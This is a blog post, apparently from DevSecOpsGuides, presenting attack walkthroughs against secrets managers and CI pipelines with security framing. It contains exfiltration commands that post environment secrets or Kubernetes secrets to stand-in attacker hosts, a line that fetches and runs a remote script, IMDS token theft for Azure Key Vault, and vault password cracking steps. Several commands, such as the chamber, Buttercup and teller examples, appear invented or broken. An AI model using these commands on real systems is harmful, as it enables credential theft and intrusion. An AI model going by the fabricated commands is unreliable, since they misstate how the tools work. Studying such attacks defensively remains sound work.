
ATTACKING SECRETS
WITH SECURITY BEST PRACTICE
WWW.DEVSECOPSGUIDES.COM

Attacking Secrets

· May 27, 2024 · 16 min read

Table of contents

Show less

A Secrets and Vault Manager is a critical tool in modern IT infrastructure, designed to securely store and manage sensitive information such as passwords, API keys, tokens, and certificates. These tools centralize secret management, providing encrypted storage and fine-grained access control to ensure that only authorized entities can access the secrets. By automating secret rotation and maintaining detailed audit logs, Secrets and Vault Managers help organizations maintain robust security postures and comply with regulatory requirements.

However, the use of Secrets and Vault Managers is not without risks, particularly when security best practices are not followed. Poorly configured access controls can lead to unauthorized access, while inadequate monitoring and auditing can allow breaches to go undetected. Additionally, if the secrets are not rotated regularly, the risk of compromised credentials increases. A lack of proper encryption and backup strategies can further expose sensitive information to threats. Therefore, it is essential to implement and adhere to security best practices, such as using strong encryption, enforcing strict access policies, and ensuring regular audits and secret rotations, to mitigate these risks effectively.

Secrets in private repositories

Private repositories often hold sensitive information, including secrets such as API keys, passwords, and tokens, which developers might mistakenly commit, assuming these repositories are secure due to their restricted access. However, attackers who have already gained initial access to an organization's systems can exploit these repositories to harvest hidden secrets. The perception that private repositories are inherently secure can lead to lax security practices, increasing the risk of exposure.

Scenario: An Attacker Scanning a Private Repository for Secrets

1. **Initial Access**: An attacker gains initial access through a phishing attack, exploiting a vulnerability, or using compromised credentials.
2. **Scanning for Secrets**: The attacker then scans the private repository for sensitive information.

Example Commands and Codes

1. **Cloning the Repository**:

```
git clone https://example.com/private-repo.git
cd private-repo
```

2. **Using Git Tools to Scan for Secrets**:

- **TruffleHog**:

```
trufflehog --regex --entropy=True .
```

- ***GitLeaks**:

```
gitleaks detect -v --source .
```

3. **Manual Grep Search:**

```
grep -r "API_KEY" .
grep -r "password" .
grep -r "token" .
```

4. **Using Custom Scripts:**

```
import os
import re

secrets_patterns = [
    re.compile(r'AKIA[0-9A-Z]{16}'),  # AWS Access Key
    re.compile(r'(?i)password\s*[:=]\s*["\'].*?["\']'),  # Passwords
    re.compile(r'(?i)api_key\s*[:=]\s*["\'].*?["\']'),  # API Keys
]

for root, dirs, files in os.walk("."):
    for file in files:
        file_path = os.path.join(root, file)
        with open(file_path, 'r', errors='ignore') as f:
            content = f.read()
            for pattern in secrets_patterns:
                if pattern.search(content):
                    print(f"Secret found in {file_path}")
```

User Credentials in CI Pipelines

In continuous integration (CI) pipelines, it is common for user credentials to be required to access external services such as databases, APIs, or cloud services. These credentials can be stored within the pipeline using CI secrets, environment variables, or configuration files. However, if not properly secured, these credentials can become accessible to adversaries, leading to potential breaches and unauthorized access to critical services.

Scenario: An Adversary Exploiting CI Pipeline Credentials

1. **Initial Access**: An adversary gains access to the CI environment through a compromised account, a vulnerability in the CI system, or another method.
2. **Accessing Secrets**: The adversary locates and extracts the credentials stored in the pipeline configuration.

Example Commands and Codes

1. **Accessing Environment Variables in a CI Pipeline**:

Example with GitHub Actions:

COPY

```
name: CI Pipeline
on: [push]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - name: Checkout code
      uses: actions/checkout@v2
    - name: Use secret in environment variable
      run: echo "DB_PASSWORD=${{ secrets.DB_PASSWORD }}"
    - name: Connect to external database
      run: |
```

```
        psql -h ${{ secrets.DB_HOST }} -U ${{ secrets.DB_USER }} -d
${{ secrets.DB_NAME }} -W ${{ secrets.DB_PASSWORD }}
```

2. **Exfiltrating Secrets:**

Attacker's Script to Extract and Send Secrets:

COPY

```
echo "Exfiltrating secrets..."
env | grep 'DB_' > /tmp/secrets.txt
curl -X POST -F 'file=@/tmp/secrets.txt' http://malicious-
server.com/upload
```

3. **Using Secrets in a CI Job:**

Example with Jenkins:

COPY

```
pipeline {
    agent any
    environment {
        DB_PASSWORD = credentials('db-password')
    }
    stages {
        stage('Build') {
            steps {
                script {
                    echo "Connecting to database with password:
${DB_PASSWORD}"
                    sh "psql -h $DB_HOST -U $DB_USER -d $DB_NAME -W
$DB_PASSWORD"
                }
            }
        }
```

```
    }
}
```

Azure Key-Vault Authentication Abuse

Azure Managed Identities enable Azure resources to authenticate to other Azure services without explicit credentials. This feature creates an identity for resources like Virtual Machines, Azure Functions, and App Service instances, represented as a principal in Azure Active Directory (Azure AD). Managed identities streamline the management of secrets, credentials, and keys, reducing the burden on developers and enhancing security by eliminating the need for storing credentials in code or configuration files.

Azure's Documentation Overview

Azure documentation explains that managed identities provide an automatically managed identity in Azure AD for applications to use when connecting to resources that support Azure AD authentication. Applications can use managed identities to obtain Azure AD tokens without managing any credentials, facilitating secure access to Azure Key Vault.

Practical Implementation: Azure's Authentication Solution

To securely retrieve secrets from Azure Key Vault using managed identities, developers can use libraries like `azure-identity` and `azure-keyvault-secrets` in Python.

Python Implementation Example:

COPY

```
from azure.identity import ManagedIdentityCredential
from azure.keyvault.secrets import SecretClient

key_vault_url = "https://your-key-vault-name.vault.azure.net/"
```

```
secret_name = "your-secret-name"

credential = ManagedIdentityCredential()
secret_client = SecretClient(vault_url=key_vault_url,
credential=credential)
retrieved_secret = secret_client.get_secret(secret_name)
print(retrieved_secret.value)
```

`ManagedIdentityCredential()` is a function provided by the Azure SDK for Python (azure-identity) that facilitates authentication with Azure services using managed identities. It retrieves a token from Azure Instance Metadata Service (IMDS) at the IP address `169.254.169.254`, which provides metadata about the virtual machine without requiring explicit credentials. This method relies on the security of the underlying infrastructure. However, if an attacker gains access to the virtual machine, they could potentially access IMDS and retrieve tokens to authenticate with Azure Key Vault.

The main issue with this authentication solution arises when an attacker gains access to the virtual machine. The attacker can exploit IMDS to acquire a managed identity token and authenticate with Azure Key Vault, gaining access to all stored secrets. This vulnerability is particularly concerning in containerized environments like Azure Kubernetes Service (AKS) or Docker, where IMDS is accessible by default.

Steps for Compromising Azure Key Vault

1. **Discover the Vault URL and Secret Information**:

```
COPY
find /path/to/search -type f -exec grep -H '.vault.azure.net' {} \;
find /path/to/search -type f -exec grep -H 'secret' {} \;
```

2. **Acquire the Managed Identity Authentication Token**:

```
token=$(curl -s -H "Metadata: true"
"http://169.254.169.254/metadata/identity/oauth2/token?
api-version=2018-02-01&resource=https://vault.azure.net"
| jq -r .access_token)
```

3. **Exploit the Token to Access Azure Key Vault**:

```
access_token=$(curl -s -H "Metadata: true"
"http://169.254.169.254/metadata/identity/oauth2/token?
api-version=2018-02-01&resource=https://vault.azure.net"
| jq -r .access_token)
curl -H "Authorization: Bearer $access_token" "https://<vault-
name>.vault.azure.net/secrets/<secret-name>?api-version=7.1"
# Replace <vault-name> and <secret-name> with appropriate values
```

This process allows any attacker with access to the compromised machine to authenticate with Key Vault and retrieve stored secrets, undermining the security intended by Azure's solution. In AKS environments, this can potentially allow access to secrets across different containers and namespaces, posing a critical security risk.

Azure Key Vault RBAC

Azure Key Vault is a cloud service provided by Microsoft Azure designed for securely storing and accessing secrets. A secret in Azure Key Vault can be anything you want to tightly control access to, such as API keys, passwords, certificates, or cryptographic keys. Azure Key Vault supports two types of containers: vaults and managed hardware security module (HSM) pools. Vaults support storing software and HSM-backed keys, secrets, and certificates, while managed HSM pools only support HSM-backed keys. For a comprehensive understanding, see the Azure Key Vault REST API overview.

The URL format to access a secret in Azure Key Vault is as follows:

```
https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}
```

- **vault-name**: The globally unique name of the key vault.
- **object-type**: Can be "keys", "secrets", or "certificates".
- **object-name**: The unique name of the object within the key vault.
- **object-version**: A system-generated identifier used to address a unique version of an object (optional).

Firewall rules in Azure Key Vault can restrict data plane operations to specific virtual networks or IPv4 address ranges. This also impacts access through the Azure portal, as users outside the authorized range will not be able to list keys, secrets, or certificates.

```
az keyvault show --name <name-vault> --query networkAcls
```

This command displays the firewall settings of `name-vault`, including enabled IP ranges and policies for denied traffic.

1. **Get Key Vault Token**:

```
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H "secret:$IDENTITY_HEADER"
```

2. **Connect to Azure and Enumerate Vaults**:

COPY

```
# Log in to Azure
az login --identity

# List Key Vaults
az keyvault list --query "[].{Name:name, ResourceGroup:resourceGroup}"

# List secrets in a specific Key Vault
az keyvault secret list --vault-name <vault_name>

# Get secret value
az keyvault secret show --vault-name <vault_name> --name <secret_name>
```

3. **Connect with Azure PowerShell**

COPY

```
# Retrieve token from the management API
$token = (Invoke-RestMethod -Method Get -Uri "$IDENTITY_ENDPOINT?
resource=https://vault.azure.net&api-version=2017-09-01" -Headers
@{secret=$IDENTITY_HEADER}).access_token

# Connect to Azure Account using the token
Connect-AzAccount -AccessToken $token -AccountId 1937ea5938eb-10eb-
a365-10abede52387

# List Key Vaults
Get-AzKeyVault

# List secrets in a specific Key Vault
Get-AzKeyVaultSecret -VaultName <vault_name>

# Get secret values
Get-AzKeyVaultSecret -VaultName <vault_name> -Name <secret_name> -
AsPlainText
```

Ansible Vault Secret

Ansible Vault is a feature of Ansible that allows you to keep sensitive data such as passwords or keys in encrypted files. While this enhances security, it is important to note that if an attacker obtains the encrypted file and has sufficient resources, they may attempt to decrypt it by cracking the password hash.

First, inspect the contents of a file encrypted with Ansible Vault to confirm its encryption status.

```
cat example.yml

$ANSIBLE_VAULT;1.1;AES256
62313365396662343061393464336163383764373764613633653634306231386433626436623361
61343336653539663635343336326665353337616661316 20a66353764643664383961653164356 1
63396265333966386166373632626539326166353965363262633030333631333864633530363 0
34386266666661376 50a353638643435666633633964366338633066623234616432373231333331
6564
```

Generating a Hash for Cracking

To attempt to crack the Ansible Vault password, you can use the `ansible2john` tool, which is part of the John the Ripper suite, to convert the encrypted file into a hash format that can be cracked.

```
ansible2john example.yml > hash.txt
```

Cracking the Hash

With the hash file generated, you can use either John the Ripper or Hashcat to crack the password. This example uses a wordlist to attempt to find the password.

Using John the Ripper:

```
john --wordlist=wordlist.txt hash.txt
```

Using Hashcat:

```
hashcat -a 0 -m 16900 hash.txt wordlist.txt
```

Decrypting the File

Once you have successfully cracked the password and retrieved it, you can use the password to decrypt the file with Ansible Vault.

```
ansible-vault decrypt example.yml --output decrypted.txt
```

This process will decrypt `example.yml` and save the decrypted content into `decrypted.txt`.

Vault-Backend-Migrator

`vault-backend-migrator` is a tool designed to facilitate the export and import (migration) of data across Vault clusters. Primarily, it supports the secret/kv backend (version 1 specifically, though version 2 is also compatible). While it may work with other mount points, limitations exist due to dynamic secrets and unsupported operations like LIST.

Set the necessary environment variables for the Vault instance from which you are exporting data:

```
export VAULT_ADDR=http://127.0.0.1:8200/
export VAULT_CAPATH=<full filepath to .crt bundle>
export VAULT_TOKEN=<vault token>
```

Ensure that the `VAULT_TOKEN` has the required permissions to list and read all Vault paths. Then run the export command:

```
./vault-backend-migrator -export secret/ -file secrets.json
```

After exporting, reconfigure the Vault environment variables to point to the target Vault instance. Then run the import command:

```
./vault-backend-migrator -import secret/ -file secrets.json
```

Threats

1. **Unauthorized Access to Exported Secrets:** The `secrets.json` file contains all exported secrets encoded in base64, but without any additional protection. If this file is accessed by unauthorized individuals, it can lead to a significant data breach.
2. **Misconfigured Permissions:** Incorrectly configured Vault tokens may grant broader access than intended, allowing unauthorized users to export sensitive data.

3. **Data Exposure During Transfer:** If the exported `secrets.json` file is transferred over an insecure channel, it can be intercepted by malicious actors.
4. **Persistent Sensitive Data:** Keeping the `secrets.json` file on disk after use increases the risk of unauthorized access, especially if proper deletion methods are not used.

Kubernetes Sealed Secrets

To demonstrate an attack scenario on Sealed Secrets for Kubernetes, let's consider a situation where an attacker gains unauthorized access to the Kubernetes cluster and attempts to exfiltrate sensitive information encrypted using Sealed Secrets.

Attack Scenario: Unauthorized Access and Exfiltration

1. **Initial Reconnaissance:** The attacker first performs reconnaissance to identify the target Kubernetes cluster and gather information about its configuration, including the presence of Sealed Secrets.
2. **Exploiting Vulnerabilities:** The attacker exploits vulnerabilities in the Kubernetes cluster, such as misconfigured RBAC policies, weak credentials, or unpatched software, to gain unauthorized access.
3. **Locating Sealed Secrets:** Once inside the cluster, the attacker identifies Sealed Secrets resources by searching through namespaces or querying the Kubernetes API.
4. **Decryption Attempt:** Using tools like `kubeseal`, the attacker attempts to decrypt the Sealed Secrets. Since the Sealed Secrets can only be decrypted by the controller running in the target cluster, the attacker's attempt fails initially.
5. **Escalating Privileges:** The attacker attempts to escalate privileges within the cluster to gain control over the Sealed Secrets controller or compromise other components that may have access to the decryption keys.
6. **Exfiltration of Encrypted Data:** If unable to decrypt the Sealed Secrets directly, the attacker exfiltrates the encrypted Sealed Secrets from the cluster, hoping to

decrypt them offline or in a different environment where they may have more control.

7. **Brute Force or Dictionary Attacks:** In a last resort, the attacker may attempt brute force or dictionary attacks to guess the decryption keys. This approach can be time-consuming and resource-intensive but may succeed if the encryption keys are weak or improperly managed.
8. **Data Extraction and Misuse:** Upon successful decryption, the attacker extracts sensitive information, such as credentials, API tokens, or other secrets, contained within the Sealed Secrets. This information can then be misused for further attacks or unauthorized access to other systems and resources.

Commands and Codes for Exploit:

COPY

```
# Step 1: Reconnaissance
# Gather information about the target Kubernetes cluster
kubectl cluster-info
kubectl get namespaces
kubectl get sealedsecrets --all-namespaces

# Step 2: Exploiting Vulnerabilities
# Exploit vulnerabilities to gain unauthorized access
# (Example: Exploiting weak credentials)
kubectl exec -it <pod_name> -- /bin/bash

# Step 3: Locating Sealed Secrets
kubectl get sealedsecrets --all-namespaces

# Step 4: Decryption Attempt
# Use kubeseal to attempt decryption (may require escalated
privileges)
kubeseal --fetch-cert > mycert.pem
kubeseal --cert mycert.pem < mysealedsecret.json

# Step 6: Exfiltration of Encrypted Data
```

```
# Copy encrypted Sealed Secrets for offline decryption
kubectl get sealedsecret -o yaml > encrypted_secrets.yaml

# Step 7: Brute Force or Dictionary Attacks
# Attempt brute force or dictionary attacks on decryption keys
# (Note: This is a hypothetical scenario and may not be practical)
```

In this attack scenario, the attacker aims to compromise the confidentiality of sensitive information encrypted using Sealed Secrets within the Kubernetes cluster. It highlights the importance of robust security measures, including proper RBAC configurations, regular vulnerability assessments, and secure management of encryption keys, to mitigate such threats.

chamber

1. **Parameter Store Path Manipulation Attack**: Exploit the path-based API of AWS SSM Parameter Store to manipulate secrets. For instance, inject malicious secrets into the system by tampering with the path structure.

```
CHAMBER_NO_PATHS=1 chamber export malicious_service
| chamber import service_to_attack -
```

2. **Secret Leakage through Environment Variables**: Exploit a vulnerability in Chamber's environment variable handling to leak sensitive data. Utilize improperly sanitized environment variable names to exfiltrate secrets.

```
export --security-flaw-SECRET_KEY=malicious_value
```

3. **Injection Attack via Import**: Inject malicious commands through a crafted import file, potentially leading to code execution or privilege escalation.

```
echo '{"key":"$(malicious_command)"}' > malicious_file.json
chamber import service_to_attack malicious_file.json
```

4. **Denial of Service via Secret Deletion**: Launch a denial of service attack by maliciously deleting critical secrets, disrupting the functionality of services relying on Chamber.

```
chamber delete --exact-key service_to_attack critical_key
```

5. **Exploiting Insecure KMS Configuration**: Exploit misconfigured KMS settings to gain unauthorized access to encrypted secrets or to perform decryption attacks.

```
CHAMBER_KMS_KEY_ALIAS=malicious_alias chamber
exec service_to_attack -- malicious_command
```

Vault Secrets Operator

1. **CRD Tampering Attack**: Exploit a vulnerability in the Custom Resource Definitions (CRDs) used by the Vault Secrets Operator to gain unauthorized access to sensitive data.

```
kubectl apply -f malicious_crd.yaml
```

2. **Secrets Exfiltration**: Attempt to exfiltrate secrets from Kubernetes Secrets by exploiting vulnerabilities in the synchronization process of the Vault Secrets Operator.

```
kubectl get secrets -o yaml | kubectl exec -i -n <operator_namespace> <operator_pod_name> -- curl -X POST http://malicious_server/exfiltrate
```

3. **Man-in-the-Middle Attack**: Intercept communication between the Vault Secrets Operator and Vault server to eavesdrop on sensitive data being transferred.

```
kubectl port-forward svc/vault -n <vault_namespace> <local_port>:8200
```

4. **Unauthorized Access via Pod ServiceAccount**: Exploit misconfigurations in Pod ServiceAccount permissions to gain unauthorized access to Vault secrets.

```
apiVersion: v1
kind: ServiceAccount
metadata:
  name: malicious-sa
automountServiceAccountToken: true
```

5. **Kubernetes Namespace Escalation**: Attempt to escalate privileges by deploying the Vault Secrets Operator in a privileged namespace and accessing secrets from other namespaces.

```
kubectl create namespace malicious-namespace
```

```
kubectl apply -f malicious_namespace.yaml -n malicious-namespace
```

Buttercup Weak Password

1. **Exploiting Weak Encryption Implementation**: Exploit vulnerabilities in Buttercup's encryption implementation to decrypt vault files and extract sensitive data.

```
# Example command to attempt to decrypt a Buttercup vault file
buttercup-decrypt -f malicious_vault.bcup -p weak_password
```

teller manipulate files

1. **Configuration File Manipulation**: Attackers may attempt to manipulate the .teller.yml configuration file to redirect secret retrieval to a malicious endpoint or to expose sensitive information inadvertently.

```
# Example command to manipulate the .teller.yml configuration file
echo "malicious_endpoint: http://attacker.com" >> .teller.yml
```

2. **Injection Attacks**: Inject malicious commands or scripts into Teller CLI commands to compromise the integrity of secret management operations.

```
# Example command to inject a malicious command into Teller CLI
teller run --reset --shell -- "$(curl -s
http://malicious_site.com/malicious_script.sh)"
```

3. **Unauthorized Access**: Exploit vulnerabilities in Teller CLI or secret provider APIs to gain unauthorized access to sensitive data stored in the vault.

```
# Example command to exploit a vulnerability
in Teller CLI to bypass authentication
teller --insecure login --username admin --password admin
```

BlackBox

1. **File Manipulation Attack**: An attacker could attempt to modify encrypted files by decrypting them, making changes, and then re-encrypting them using their own GPG key.

```
# Example of decrypting, modifying, and re-encrypting a file
blackbox_edit_start secret_file.txt.gpg
# Make changes to the file
blackbox_edit_end secret_file.txt.gpg
```

2. **Key Management Attack**: Attackers might attempt to gain unauthorized access to BlackBox by adding their own GPG key as an admin or removing legitimate admins from the system.

```
# Example of adding an unauthorized admin
blackbox_addadmin attacker@example.com

# Example of removing a legitimate admin
blackbox_removeadmin legit_admin@example.com
```

3. **Unauthorized Access**: Attackers could try to decrypt sensitive files by gaining access to the GPG keys or by exploiting vulnerabilities in BlackBox to bypass authentication mechanisms.

```
# Example of decrypting a file without proper authorization
blackbox_cat secret_file.txt.gpg
```

4. **Phishing for GPG Passphrases**: Attackers might attempt to trick users into revealing their GPG passphrases by impersonating legitimate BlackBox prompts or messages.

```
# Example of a phishing attempt to steal GPG passphrase
echo "Enter your GPG passphrase: " && read -s passphrase
```

Conclusion

With a centralized secrets management solution, such as HashiCorp Vault, comes the responsibility of securing it effectively to prevent unauthorized access and misuse. Let's consider a scenario where an attacker exploits a vulnerability in an application and discovers the values of the `VAULT_TOKEN` and `VAULT_ADDR` environment variables. The attacker's goal is to perform lateral movement and potentially escalate privileges.

Attacker's Next Steps

1. **Accessing Vault:** The attacker would attempt to use the `VAULT_TOKEN` and `VAULT_ADDR` to make requests to the Vault HTTP API to retrieve secrets. This is feasible if:
    - The Vault is accessible from the public network. If not, the attacker must force the compromised server to send the request on their behalf, requiring

remote code execution (RCE) or server-side request forgery (SSRF) with control over request headers.

- The stolen token is still valid (i.e., its time-to-live has not expired, and its operations limit has not been exceeded).
- The retrieval request complies with the configured Vault policies.

2. **Exploiting the Token:** The attacker would craft an API request to Vault:

```
curl --header "X-Vault-Token: $VAULT_TOKEN"
$VAULT_ADDR/v1/secret/data/my-secret
```

3. **Post-Exploitation:** If successful, the attacker can access the secret data and potentially use it to further their attack. They may also attempt to modify or delete secrets to disrupt operations or cover their tracks.

Resources

- https://www.microsoft.com/en-us/security/blog/2023/04/06/devops-threat-matrix/
- https://medium.com/@chenshiri/hacking-azure-key-vault-c14c2e239d0a#2f82
- https://exploit-notes.hdks.org/exploit/cryptography/algorithm/ansible-vault-secret/
- https://www.securing.pl/en/storing-secrets-in-web-applications-using-vaults/

secrets hashicorp-vault Vault Devops DevSecOps

Written by

RR **Reza Rashidi**

Add your bio

Published on

DevSecOpsGuides

Add blog description

MORE ARTICLES

RR **Reza Rashidi**

Attacking .NET

Attacking .NET applications often involves exploiting weaknesses in the code or the runtime environm...

RR **Reza Rashidi**

Attacking Rust

"Attacking Rust" delves into the intricacies of identifying and mitigating security vulnerabilities ...

RR **Reza Rashidi**

Attacking Java

Attacking Java applications requires a nuanced understanding of both the

language's intricacies and ...